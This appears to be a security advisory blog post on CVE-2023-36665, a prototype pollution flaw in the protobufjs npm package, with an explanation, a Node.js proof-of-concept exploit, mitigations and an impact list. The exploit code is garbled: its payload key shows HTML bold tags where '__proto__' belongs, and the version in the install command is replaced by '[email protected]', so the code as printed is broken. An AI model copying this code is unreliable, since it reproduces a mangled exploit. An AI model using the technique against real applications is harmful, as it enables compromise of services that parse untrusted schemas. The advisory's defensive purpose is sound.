Listen to this Post
How CVE-2023-36665 Works
- The core of the issue lies in how `protobufjs` handles options when parsing a Protocol Buffer schema (
.protofile) or a JSON descriptor. - The library’s reflection API, specifically functions like
ReflectionObject.setParsedOption, processes option paths provided in the schema to configure the generated JavaScript objects. - A vulnerable version does not properly validate or sanitize these option paths, which can include chains of property names.
- An attacker can craft a malicious schema where an option path contains a property like
__proto__,constructor, orprototype. - When `protobufjs` processes this malicious option, it attempts to write or assign a value to the property path on the in-memory reflection object.
- Due to JavaScript’s prototypal inheritance, assignments to properties like `__proto__` do not create local properties on the target object.
- Instead, they traverse the prototype chain and end up modifying the global `Object.prototype` object.
- This results in Prototype Pollution, where properties are added or overwritten on the base `Object` used by every object in the application.
- The impact is severe and application-wide: any new object created after the pollution will inherit the tainted properties.
- If a polluted property, for example
polluted, is later used in a sensitive operation (e.g., passed to `eval()` or used to control a file path), the attacker can achieve further effects like Remote Code Execution (RCE) or Denial of Service (DoS). - This vulnerability does not require the attacker to control the message payload; controlling the schema (type definitions) alone is sufficient.
- The attack can be performed remotely, is low in complexity, and requires no authentication or user interaction, making it highly dangerous.
DailyCVE Form
Platform: Node.js / npm
Vulnerability: Prototype Pollution
Severity: CRITICAL
Prediction: Already patched (2023-07-05)
What Undercode Say:
Exploit:
An attacker can exploit this by providing a malicious JSON descriptor to an application that parses it using protobuf.Root.fromJSON.
Proof-of-Concept (Node.js)
Install a vulnerable version of protobufjs npm install [email protected]
Create a file named `exploit.js`:
const protobuf = require('protobufjs');
// A malicious JSON descriptor with a <strong>proto</strong> payload.
const maliciousDescriptor = {
"nested": {
"Malicious": {
"options": {
// This path traverses to Object.prototype and sets a property.
"<strong>proto</strong> / polluted": 'Property set via prototype pollution!'
}
}
}
};
// Object.prototype is initially clean.
console.log('Before attack:', Object.prototype.hasOwnProperty('polluted') ? Object.prototype.polluted : 'not polluted');
// Trigger the vulnerability by loading the malicious descriptor.
const root = protobuf.Root.fromJSON(maliciousDescriptor);
// After parsing, the global Object.prototype is now polluted.
console.log('After attack:', Object.prototype.hasOwnProperty('polluted') ? Object.prototype.polluted : 'not polluted');
// The impact is application-wide.
const cleanObject = {};
console.log('Property on clean object:', cleanObject.polluted);
Run the exploit with:
node exploit.js
The output will demonstrate that `polluted` property is now present on `Object.prototype` and has been inherited by all subsequently created objects.
Protection from this CVE
- Upgrade Immediately: Update the `protobufjs` package to a patched version (>=6.11.4 or >=7.2.5).
npm install protobufjs@latest
- Trusted Schemas Only: Do not parse or load `.proto` schemas or JSON descriptors from untrusted sources.
- Input Validation: If you must accept untrusted schemas, validate them to reject any option names that contain unsafe path components like
__proto__,prototype, or `constructor` before loading them. - Isolate Processing: Run the schema processing logic inside an isolated environment, such as a sandboxed Node.js Worker Thread or a separate process, to contain any potential impact.
Impact
- Remote Code Execution (RCE): Although not a direct code execution flaw, an attacker can pollute the global object prototype. This can lead to RCE if a polluted property is later used by the application in a dangerous sink, such as `eval()` or
child_process.exec(). - Denial of Service (DoS): By overwriting critical built-in methods or properties, the attacker can cause subsequent application code to throw exceptions, leading to a persistent crash or DoS for the lifetime of the process.
- Authentication Bypass: An attacker could pollute properties used in authorization checks (e.g.,
req.user.isAdmin), potentially bypassing security mechanisms. - Data Tampering: The vulnerability allows an attacker to modify data or application logic across all parts of the affected process.
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: github.com
Extra Source Hub:
Undercode

